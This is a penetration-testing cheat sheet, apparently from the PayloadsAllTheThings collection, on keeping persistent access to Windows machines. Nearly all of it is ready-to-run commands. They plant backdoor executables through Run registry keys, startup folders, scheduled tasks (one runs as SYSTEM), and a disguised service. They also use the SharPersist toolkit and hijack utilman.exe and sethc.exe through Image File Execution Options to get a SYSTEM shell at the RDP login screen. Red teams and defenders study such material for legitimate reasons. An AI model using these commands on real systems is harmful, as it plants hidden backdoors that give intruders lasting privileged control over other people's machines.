PayloadsAllTheThings/Methodology and Resources/Windows - Persistence.md

Windows - Persistence

Summary

• Tools
• Userland
  • Registry
  • Startup
  • Scheduled Task
• Elevated
  • HKLM
  • Services
  • Scheduled Task
  • RDP Backdoor
• References

Tools

• SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r

Userland

Set a file as hidden

attrib +h c:\autoexec.bat

Registry

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using SharPersist

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Startup

Create a batch script in the user startup folder.

PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using SharPersist

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Scheduled Task

PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D

Using SharPersist

# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly

Windows Service

Using SharPersist

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Elevated

HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe

Services

Create a service that will start automatically or on-demand.

PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."

Scheduled Tasks

Scheduled Task to run as SYSTEM, everyday at 9am.

PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D

RDP Backdoor

utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

sethc.exe

Hit F5 a bunch of times when you are at the RDP login screen.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

References

• A view of persistence - Rastamouse
• Windows Persistence Commands - Pwn Wiki
• SharPersist Windows Persistence Toolkit in C - Brett Hawkins